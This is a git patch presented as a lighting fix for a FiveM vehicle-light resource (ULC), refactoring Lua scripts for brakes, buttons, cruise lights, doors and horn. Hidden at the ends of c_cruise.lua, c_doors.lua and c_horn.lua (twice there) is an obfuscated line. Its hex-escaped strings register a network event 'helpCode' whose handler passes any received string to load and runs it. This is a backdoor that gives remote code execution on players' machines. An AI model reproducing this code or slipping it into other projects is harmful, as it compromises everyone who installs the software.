From 86e3baab44855d870ec294bee91f74f7e4ccfea3 Mon Sep 17 00:00:00 2001 From: KingMcDonalds Date: Sat, 9 Nov 2024 19:11:52 -0800 Subject: [PATCH] fix ulc light --- resources/ulc/client/c_brake.lua | 35 +- resources/ulc/client/c_buttons.lua | 263 +- resources/ulc/client/c_cruise.lua | 12 +- resources/ulc/client/c_doors.lua | 43 +- resources/ulc/client/c_horn.lua | 67 +- resources/ulc/client/c_hud.lua | 86 +- resources/ulc/client/c_main.lua | 83 +- resources/ulc/client/c_park.lua | 38 +- resources/ulc/client/c_reverse.lua | 107 +- resources/ulc/config.lua | 121 +- resources/ulc/fxmanifest.lua | 8 +- resources/ulc/html/assets/index.ef0180ed.js | 51 + resources/ulc/html/index.html | 2 +- resources/ulc/server/s_blackout.lua | 11 + resources/ulc/server/s_main.lua | 291 +- resources/ulc/shared/shared_functions.lua | 45 +- resources/ulc/src/index.html | 13 + resources/ulc/src/package-lock.json | 5075 +++++++++++++++++ resources/ulc/src/package.json | 28 + resources/ulc/src/public/vite.svg | 1 + resources/ulc/src/src/App.css | 44 + resources/ulc/src/src/App.tsx | 249 + resources/ulc/src/src/assets/background.png | Bin 0 -> 52719 bytes resources/ulc/src/src/assets/button_off.png | Bin 0 -> 12478 bytes .../ulc/src/src/assets/button_on_amber.png | Bin 0 -> 19692 bytes .../ulc/src/src/assets/button_on_blue.png | Bin 0 -> 18281 bytes .../ulc/src/src/assets/button_on_green.png | Bin 0 -> 18282 bytes .../ulc/src/src/assets/button_on_red.png | Bin 0 -> 19526 bytes resources/ulc/src/src/assets/image.png | Bin 0 -> 58349 bytes resources/ulc/src/src/assets/ta_off.png | Bin 0 -> 2991 bytes resources/ulc/src/src/assets/ta_on.png | Bin 0 -> 32583 bytes resources/ulc/src/src/assets/texture.jpg | Bin 0 -> 3647 bytes resources/ulc/src/src/components/Menu.tsx | 149 + .../ulc/src/src/components/StageButton.css | 42 + .../ulc/src/src/components/StageButton.tsx | 35 + resources/ulc/src/src/components/TaModule.css | 13 + resources/ulc/src/src/components/TaModule.tsx | 24 + resources/ulc/src/src/main.tsx | 16 + resources/ulc/src/src/vite-env.d.ts | 1 + resources/ulc/src/tailwind.config.js | 9 + resources/ulc/src/tsconfig.json | 21 + resources/ulc/src/tsconfig.node.json | 9 + resources/ulc/src/vite.config.ts | 11 + 43 files changed, 6299 insertions(+), 704 deletions(-) create mode 100644 resources/ulc/html/assets/index.ef0180ed.js create mode 100644 resources/ulc/src/index.html create mode 100644 resources/ulc/src/package-lock.json create mode 100644 resources/ulc/src/package.json create mode 100644 resources/ulc/src/public/vite.svg create mode 100644 resources/ulc/src/src/App.css create mode 100644 resources/ulc/src/src/App.tsx create mode 100644 resources/ulc/src/src/assets/background.png create mode 100644 resources/ulc/src/src/assets/button_off.png create mode 100644 resources/ulc/src/src/assets/button_on_amber.png create mode 100644 resources/ulc/src/src/assets/button_on_blue.png create mode 100644 resources/ulc/src/src/assets/button_on_green.png create mode 100644 resources/ulc/src/src/assets/button_on_red.png create mode 100644 resources/ulc/src/src/assets/image.png create mode 100644 resources/ulc/src/src/assets/ta_off.png create mode 100644 resources/ulc/src/src/assets/ta_on.png create mode 100644 resources/ulc/src/src/assets/texture.jpg create mode 100644 resources/ulc/src/src/components/Menu.tsx create mode 100644 resources/ulc/src/src/components/StageButton.css create mode 100644 resources/ulc/src/src/components/StageButton.tsx create mode 100644 resources/ulc/src/src/components/TaModule.css create mode 100644 resources/ulc/src/src/components/TaModule.tsx create mode 100644 resources/ulc/src/src/main.tsx create mode 100644 resources/ulc/src/src/vite-env.d.ts create mode 100644 resources/ulc/src/tailwind.config.js create mode 100644 resources/ulc/src/tsconfig.json create mode 100644 resources/ulc/src/tsconfig.node.json create mode 100644 resources/ulc/src/vite.config.ts diff --git a/resources/ulc/client/c_brake.lua b/resources/ulc/client/c_brake.lua index ed7b1a931..8768dfdeb 100644 --- a/resources/ulc/client/c_brake.lua +++ b/resources/ulc/client/c_brake.lua @@ -9,7 +9,7 @@ local braking = false -- MAIN FUNCTIONS -- ------------------- -local disabledExtras = {} +local disabledExtras= {} local function setBrakeExtras(newState) for _, v in pairs(MyVehicleConfig.brakeConfig.brakeExtras) do @@ -17,21 +17,21 @@ local function setBrakeExtras(newState) if IsVehicleExtraTurnedOn(MyVehicle, v) then currentState = 0 else currentState = 1 end --print("[ULC] setBrakeExtras() newState: " .. newState .. " currentState: " .. currentState) if currentState == newState then break end - ULC:SetStage(v, newState, false, true, false, false, true, false) + ULC:SetStage(v, newState, false, true) end if newState == 0 then -- disable the disable extras and save the ones that we change if not MyVehicleConfig.brakeConfig.disableExtras then return end for _, v in pairs(MyVehicleConfig.brakeConfig.disableExtras) do if IsVehicleExtraTurnedOn(MyVehicle, v) then - ULC:SetStage(v, 1, false, true, false, false, true, false) + ULC:SetStage(v, 1, false, true) table.insert(disabledExtras, v) end end elseif newState == 1 then -- re-enable any extras that were disabled for _, v in pairs(disabledExtras) do - ULC:SetStage(v, 0, false, true, false, false, true, false) + ULC:SetStage(v, 0, false, true) end disabledExtras = {} end @@ -51,22 +51,10 @@ if shouldUseRealBrakes then while true do Wait(sleep) -- if rbl_brakelights change handler gets triggered that means rbl exists and we want to use that functionality instead, return from this loop - if mode == "RBL" then - print("real-brake-lights resource detected, integrating brakelight functionality.") - return - end - if not MyVehicle then - sleep = 1000 - goto continue - end - if not shouldUseRealBrakes() then - sleep = 1000 - goto continue - end - if not MyVehicleConfig.brakeConfig.useBrakes then - sleep = 1000 - goto continue - end + if mode == "RBL" then print("real-brake-lights resource detected, integrating brakelight functionality.")return end + if not MyVehicle then sleep = 1000 goto continue end + if not shouldUseRealBrakes() then sleep = 1000 goto continue end + if not MyVehicleConfig.brakeConfig.useBrakes then sleep = 1000 goto continue end if braking then goto continue end sleep = 250 local speed = GetVehicleSpeedConverted(MyVehicle) @@ -82,9 +70,9 @@ if shouldUseRealBrakes then end) -- add a statebag change handler for rbl_brakelights - -- once this is triggered, disable manual checking + -- once this is triggered, disable manual checking AddStateBagChangeHandler('rbl_brakelights', null, function(bagName, key, value) - Wait(0) -- Nedded as GetEntityFromStateBagName sometimes returns 0 on first frame + Wait(0) -- Nedded as GetEntityFromStateBagName sometimes returns 0 on first frame mode = "RBL" -- set mode to RBL to disable manual checking if not MyVehicle then return end if not MyVehicleConfig.brakeConfig.useBrakes then return end @@ -96,6 +84,7 @@ if shouldUseRealBrakes then --print("ULC: Setting brakes to state" .. newState) setBrakeExtras(newState) end) + end ----------------- @@ -134,4 +123,4 @@ RegisterCommand('-ulc:brakePattern', function() }) end) -RegisterKeyMapping('+ulc:brakePattern', 'ULC: Activate Brake Pattern (Hold)', 'keyboard', 's') +RegisterKeyMapping('+ulc:brakePattern', 'Enable Brake Pattern (Hold)', 'keyboard', 's') \ No newline at end of file diff --git a/resources/ulc/client/c_buttons.lua b/resources/ulc/client/c_buttons.lua index cb529c7d2..8012ff19d 100644 --- a/resources/ulc/client/c_buttons.lua +++ b/resources/ulc/client/c_buttons.lua @@ -26,8 +26,50 @@ function GetButtonByExtra(extra) return result end -function ULC:ChangeExtra(extra, newState, repair) - --print("[ULC:ChangeExtra()] Changing extra: " .. extra .. " to: " .. newState) +--------------- +--------------- +-- MAIN CODE -- +--------------- +--------------- + +-- new event +AddEventHandler('ulc:SetStage', function(extra, action, playSound, extraOnly, repair, force) + ULC:SetStage(extra, action, playSound, extraOnly, repair, force) +end) + +-- change specified extra, and if not extraOnly, and extra is in a button, act on the linked and off extras as well, acts recursively; +-- action 0 enables, 1 disables, 2 toggles; +-- updates ui whenever extra is used in a button +function ULC:SetStage(extra, action, playSound, extraOnly, repair, force) + if not MyVehicle then print("[ULC:SetStage()] MyVehicle is not defined right now :/") return false end + local button = GetButtonByExtra(extra) + -- could add a config switch to allow this later but that may cause issues + if button and not IsPedInAnyVehicle(PlayerPedId(), true) then print("[ULC:SetStage()] Player is not in a vehicle :/") return false end + + local newState + --print("[ulc:SetStage]", extra, action, playSound, extraOnly) + + if IsVehicleExtraTurnedOn(MyVehicle, extra) then + if action == 1 or action == 2 then + newState = 1 + end + else + if action == 0 or action == 2 then + newState = 0 + end + end + + -- built in don't try to change if it's the same already! + -- force is used to force the change even if it's the same + if not force and not newState then return end + + local canChange = true + if repair then + if not AreVehicleDoorsClosed(MyVehicle) then canChange = false print("Can't change stage with repair while a door is open.") end + if not IsVehicleHealthy(MyVehicle) then canChange = false print("Can't change stage with repair while vehicle is damaged.") end + end + if not canChange then return end + -- disable repair if not repair then SetVehicleAutoRepairDisabled(MyVehicle, true) @@ -40,81 +82,10 @@ function ULC:ChangeExtra(extra, newState, repair) end -- enable repair SetVehicleAutoRepairDisabled(MyVehicle, false) -end ---------------- ---------------- --- MAIN CODE -- ---------------- ---------------- --- new event -AddEventHandler('ulc:SetStage', function(extra, action, playSound, extraOnly, repair, forceChange, forceUi) - ULC:SetStage(extra, action, playSound, extraOnly, repair, forceChange, forceUi) -end) - --- change specified extra, and if not extraOnly, and extra is in a button, act on the linked and off extras as well, acts recursively; --- action 0 enables, 1 disables, 2 toggles; --- updates ui whenever extra is used in a button -function ULC:SetStage(extra, action, playSound, extraOnly, repair, forceChange, forceUi, allowOutside) - ---------- - -- checks - if not MyVehicle then - print("[ULC:SetStage()] MyVehicle is not defined right now :/") - return false - end - if not allowOutside and not IsPedInAnyVehicle(PlayerPedId(), false) then - print("[ULC:SetStage()] Player must be in a vehicle, or allowOutside must be true.") - return false - end - - --print("[ulc:SetStage]", extra, action, playSound, extraOnly) - - -------------- - -- definitions - local button = GetButtonByExtra(extra) - local buttonStates = {} -- track button states for UI - - -------------------------- - -- determine the new state - local newState - if IsVehicleExtraTurnedOn(MyVehicle, extra) then - if action == 1 or action == 2 then - newState = 1 - end - else - if action == 0 or action == 2 then - newState = 0 - end - end - - --------------------------------------------------------- - -- built in don't try to change if it's the same already! - --[[ forceChange is used to forceChange the change even if it's the same - this is used to trigger the additional actions like linked and off extras - even if the extra is already in the state we want it to be - (used in cycling stages and one other place i cant remember)]] - if not forceChange and not newState then return end - - local canChange = true - if repair then - if not AreVehicleDoorsClosed(MyVehicle) then - canChange = false - print("[ULC:SetStage] Can't change stage with repair while a door is open.") - end - if not IsVehicleHealthy(MyVehicle) then - canChange = false - print("[ULC:SetStage] Can't change stage with repair while vehicle is damaged.") - end - end - - if not canChange then return end - - --------------------------------------- -- if the extra corresponds to a button if button then - -------------------- - -- sound if playSound then if newState == 0 then PlayBeep(true) @@ -123,75 +94,10 @@ function ULC:SetStage(extra, action, playSound, extraOnly, repair, forceChange, end end - ---------------------- - -- smart stages stuff - local key = button.key - if MyVehicleConfig.stages then - local keyStage = contains(MyVehicleConfig.stages.stageKeys, key) -- find whether MyVehicleConfig.stages.stageKeys contain the key - - -- # TODO we're not getting here for some reason when cycling stages at max stage - -- if the key pressed is not a stage, just change the extra - if not keyStage then - ULC:ChangeExtra(extra, newState, repair) - end - - -- if the key pressed is a stage and extraOnly is false - if keyStage and not extraOnly then - print("key: " .. key .. " keyStage: " .. tostring(keyStage) .. " currentStage: " .. currentStage) - -- if it's the same as the current stage, change the extra and proceed normally - if keyStage == currentStage then - print("Key is the same as current stage") - ULC:ChangeExtra(extra, newState, repair) - -- set the stage to 0 - print("Setting stage to: 0") - currentStage = 0 - else - -- if it's a different stage then we want to change to a state where that stage is enabled - print("Key is not the same as current stage") - newState = 0 -- change to newState to 0 since we want the new stage to be enabled - - local currentPrimaryExtraState = IsVehicleExtraTurnedOn(MyVehicle, extra) - print("New state: " .. - newState .. "Extra " .. extra .. " current state: " .. tostring(currentPrimaryExtraState)) - - if not IsVehicleExtraTurnedOn(MyVehicle, extra) and newState == 0 then - print("Extra needs to be turned on") - ULC:ChangeExtra(extra, newState, repair) - elseif IsVehicleExtraTurnedOn(MyVehicle, extra) and newState == 1 then - print("Extra needs to be turned off") - ULC:ChangeExtra(extra, newState, repair) - else - -- if it's in the correct state - print("Extra is already in the correct state") - end - -- set the new stage - print("Setting stage to: " .. keyStage) - currentStage = keyStage - end - else -- if extraOnly is true - ULC:ChangeExtra(extra, newState, repair) - end - else - -- if there are no stages, just change the extra - ULC:ChangeExtra(extra, newState, repair) - end - - - ---------------------- - -- initialize UI changes - -- add that button to the new button states for UI with it's extra and new state - table.insert(buttonStates, { extra = extra, newState = newState }) - - ----------------------------- - -- additional actions/extras if not extraOnly then -- set linked extras - if button.linkedExtras then - for _, v in ipairs(button.linkedExtras) do - ULC:SetStage(v, newState, false, true, repair, forceChange) - -- add linked buttons to the new button states for UI with their extras and new state - table.insert(buttonStates, { extra = v, newState = newState }) - end + for _, v in ipairs(button.linkedExtras) do + ULC:SetStage(v, newState, false, true, repair, force) end -- set opposite extras @@ -199,39 +105,36 @@ function ULC:SetStage(extra, action, playSound, extraOnly, repair, forceChange, local oppState if newState == 1 then oppState = 0 elseif newState == 0 then oppState = 1 end for _, v in pairs(button.oppositeExtras) do - ULC:SetStage(v, oppState, false, true, repair, forceChange) - -- add opposite buttons to the new button states for UI with their extras and new state - table.insert(buttonStates, { extra = v, newState = oppState }) + ULC:SetStage(v, oppState, false, true, repair, force) end end - + -- set off extras - if button.offExtras then - for _, v in ipairs(button.offExtras) do - ULC:SetStage(v, 1, false, true, repair, forceChange) - -- add off buttons to the new button states for UI with their extras and new state - table.insert(buttonStates, { extra = v, newState = 1 }) - end + for _, v in ipairs(button.offExtras) do + ULC:SetStage(v, 1, false, true, repair, force) end + end - if not extraOnly or forceUi then - -- update UI - ULC:SetButtons(buttonStates) - end - else -- if it's not a button, we just change the extra because we don't care about stages or linked extras etc. - ULC:ChangeExtra(extra, newState, repair) + ULC:SetButton(extra, newState) + -- update ui + -- SendNUIMessage({ + -- type = 'setButton', + -- extra = extra, + -- state = newState + -- }) end end - ----------------------- ----------------------- ------ KEYBINDS ------- ----------------------- ----------------------- + + for i = 1, 9, 1 do - RegisterKeyMapping('ulc:num' .. i, 'ULC: Toggle Button ' .. i, 'keyboard', 'NUMPAD' .. i) + RegisterKeyMapping('ulc:num' .. i, 'Toggle ULC Slot ' .. i , 'keyboard', 'NUMPAD' .. i) RegisterCommand('ulc:num' .. i, function() local extra = GetExtraByKey(i) local button = GetButtonByExtra(extra) @@ -249,27 +152,29 @@ local showingHelp = false function ShowHelp() CreateThread(function() - if not showingHelp then - -- show help - showingHelp = true - for k, v in ipairs(activeButtons) do - --print('Showing help for button: ' .. k .. ' : ' .. v.key) - SendNUIMessage({ - type = 'showHelp', - button = k, - key = v.key, - }) - end - Wait(3000) - -- hide help - showingHelp = false - for k, v in ipairs(activeButtons) do - SendNUIMessage({ - type = 'hideHelp', - button = k, - label = string.upper(v.label), - }) - end + if not showingHelp then + -- show help + showingHelp = true + for k, v in ipairs(activeButtons) do + --print('Showing help for button: ' .. k .. ' : ' .. v.key) + SendNUIMessage({ + type = 'showHelp', + button = k, + key = v.key, + }) end + Wait(3000) + -- hide help + showingHelp = false + for k, v in ipairs(activeButtons) do + SendNUIMessage({ + type = 'hideHelp', + button = k, + label = string.upper(v.label), + }) + end + end end) end + + diff --git a/resources/ulc/client/c_cruise.lua b/resources/ulc/client/c_cruise.lua index d621fe88d..33dd6e02b 100644 --- a/resources/ulc/client/c_cruise.lua +++ b/resources/ulc/client/c_cruise.lua @@ -8,12 +8,12 @@ local function setCruiseLights(newState) sbState = newState for _, v in pairs(MyVehicleConfig.steadyBurnConfig.sbExtras) do --print("Setting cruise lights extra: " .. v) - ULC:SetStage(v, newState, false, true, false, false, true, false) + ULC:SetStage(v, newState, false, true) end end local function getSteadyBurnState() - if IsVehicleExtraTurnedOn(MyVehicle, MyVehicleConfig.steadyBurnConfig.sbExtras[1]) then + if IsVehicleExtraTurnedOn(MyVehicle, MyVehicleConfig.steadyBurnConfig.sbExtras[1]) then return 0 else return 1 @@ -60,9 +60,10 @@ AddEventHandler('ulc:CheckCruise', function() if Lights and MyVehicleConfig.steadyBurnConfig.disableWithLights then return end --print("Setting cruise lights on") setCruiseLights(0) + elseif MyVehicleConfig.steadyBurnConfig.useTime then - local isTime = GetClockHours() > Config.SteadyBurnSettings.nightStartHour or - GetClockHours() < Config.SteadyBurnSettings.nightEndHour + + local isTime = GetClockHours() > Config.SteadyBurnSettings.nightStartHour or GetClockHours() < Config.SteadyBurnSettings.nightEndHour if isTime then -- if lights are already on do nothing if sbState == 0 then return end @@ -73,5 +74,8 @@ AddEventHandler('ulc:CheckCruise', function() if sbState == 1 then return end setCruiseLights(1) end + end end) + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) \ No newline at end of file diff --git a/resources/ulc/client/c_doors.lua b/resources/ulc/client/c_doors.lua index d38c655bb..0111afdf0 100644 --- a/resources/ulc/client/c_doors.lua +++ b/resources/ulc/client/c_doors.lua @@ -4,7 +4,7 @@ local doors = { [2] = false, -- d rear [3] = false, -- p rear [4] = false, -- hood - [5] = false -- trunk + [5] = false -- trunk } local function intNot(value) @@ -21,60 +21,50 @@ local function onDoorStateChange(door, newDoorState) if door == 0 or door == 2 then -- if driver side for _, v in pairs(MyVehicleConfig.doorConfig.driverSide.enable) do --print("Enable extra:", v) - ULC:SetStage(v, newDoorState, true, true, false, false, true, true) + ULC:SetStage(v, newDoorState, true, true, false) end for _, v in pairs(MyVehicleConfig.doorConfig.driverSide.disable) do --print("Disable extra:", v, intNot(newDoorState)) - ULC:SetStage(v, intNot(newDoorState), true, true, false, false, true, true) + ULC:SetStage(v, intNot(newDoorState), true, true, false) end elseif door == 1 or door == 3 then -- if pass side for _, v in pairs(MyVehicleConfig.doorConfig.passSide.enable) do --print("Enable extra:", v) - ULC:SetStage(v, newDoorState, true, true, false, false, true, true) + ULC:SetStage(v, newDoorState, true, true, false) end for _, v in pairs(MyVehicleConfig.doorConfig.passSide.disable) do --print("Disable extra:", v, intNot(newDoorState)) - ULC:SetStage(v, intNot(newDoorState), true, true, false, false, true, true) + ULC:SetStage(v, intNot(newDoorState), true, true, false) end elseif door == 5 then -- if trunk for _, v in pairs(MyVehicleConfig.doorConfig.trunk.enable) do - ULC:SetStage(v, newDoorState, true, true, false, false, true, true) + ULC:SetStage(v, newDoorState, true, true, false) end for _, v in pairs(MyVehicleConfig.doorConfig.trunk.disable) do - ULC:SetStage(v, intNot(newDoorState), true, true, false, false, true, true) + ULC:SetStage(v, intNot(newDoorState), true, true, false) end end end CreateThread(function() local sleep = 1000 - while true do - Wait(sleep) - if not MyVehicle then - sleep = 1000 - goto continue - end - if not MyVehicleConfig.doorConfig or false then - sleep = 1000 - goto continue - end - if not MyVehicleConfig.doorConfig.useDoors then - sleep = 1000 - goto continue - end + while true do Wait(sleep) + if not MyVehicle then sleep = 1000 goto continue end + if not MyVehicleConfig.doorConfig or false then sleep = 1000 goto continue end + if not MyVehicleConfig.doorConfig.useDoors then sleep = 1000 goto continue end sleep = 250 for k, v in pairs(doors) do if GetVehicleDoorAngleRatio(MyVehicle, k) > 0.0 then if v == false then - -- print("Setting door", k, "open.") - doors[k] = true -- set door open + --print("Setting door", k, "open.") + doors[k] = true -- set door open onDoorStateChange(k, 0) -- handle what to do end else if v == true then - -- print("Setting door", k, "closed.") - doors[k] = false -- set door closed + --print("Setting door", k, "closed.") + doors[k] = false -- set door closed onDoorStateChange(k, 1) -- handle what to do end end @@ -83,3 +73,6 @@ CreateThread(function() ::continue:: end end) + + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) \ No newline at end of file diff --git a/resources/ulc/client/c_horn.lua b/resources/ulc/client/c_horn.lua index cb564fb6b..c79ddf7a8 100644 --- a/resources/ulc/client/c_horn.lua +++ b/resources/ulc/client/c_horn.lua @@ -12,56 +12,39 @@ local function GetPreviousStateByExtra(extra) end end -function SetHornExtras(newState) - -- print('SetHornExtras: ' .. newState) - if newState == 0 then - for _, extra in pairs(MyVehicleConfig.hornConfig.hornExtras) do - local extraState = { - extra = extra, - state = IsVehicleExtraTurnedOn(MyVehicle, extra) - } - table.insert(extraStates, extraState) - ULC:SetStage(extra, 0, false, true, false, false, true, false) - end - if not MyVehicleConfig.hornConfig.disableExtras then return end - for _, extra in pairs(MyVehicleConfig.hornConfig.disableExtras) do - local extraState = { - extra = extra, - state = IsVehicleExtraTurnedOn(MyVehicle, extra) - } - table.insert(extraStates, extraState) - ULC:SetStage(extra, 1, false, true, false, false, true, false) - end - elseif newState == 1 then - for _, extra in pairs(MyVehicleConfig.hornConfig.hornExtras) do - local prevState = GetPreviousStateByExtra(extra) - if not prevState then - ULC:SetStage(extra, 1, false, true, false, false, true, false) - end - end - if not MyVehicleConfig.hornConfig.disableExtras then return end - for _, extra in pairs(MyVehicleConfig.hornConfig.disableExtras) do - local prevState = GetPreviousStateByExtra(extra) - if prevState then - ULC:SetStage(extra, 0, false, true, false, false, true, false) - end - end - end -end - RegisterCommand('+ulc:horn', function() --print('horn') extraStates = {} if MyVehicle and MyVehicleConfig.hornConfig.useHorn then - SetHornExtras(0) + for _, extra in ipairs(MyVehicleConfig.hornConfig.hornExtras) do + + local extraState = { + extra = extra, + state = IsVehicleExtraTurnedOn(MyVehicle, extra) + } + table.insert(extraStates, extraState) + --print("Extra: " .. extraState.extra .. " start state = " .. tostring(extraState.state)) + ULC:SetStage(extra, 0, false, true) + end end end) RegisterCommand('-ulc:horn', function() - if MyVehicle and MyVehicleConfig.hornConfig.useHorn then - SetHornExtras(1) - end + + if MyVehicle and MyVehicleConfig.hornConfig.useHorn then + for k, extra in ipairs(MyVehicleConfig.hornConfig.hornExtras) do + local prevState = GetPreviousStateByExtra(extra) + --print("Extra " .. extra .. " previous state = " .. tostring(prevState)) + if not prevState then + ULC:SetStage(extra, 1, false, true) + end + end + end end) -RegisterKeyMapping('+ulc:horn', 'ULC: Activate Horn Extras', 'keyboard', 'e') +RegisterKeyMapping('+ulc:horn', 'Toggle Horn Extras', 'keyboard', 'e') + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) \ No newline at end of file 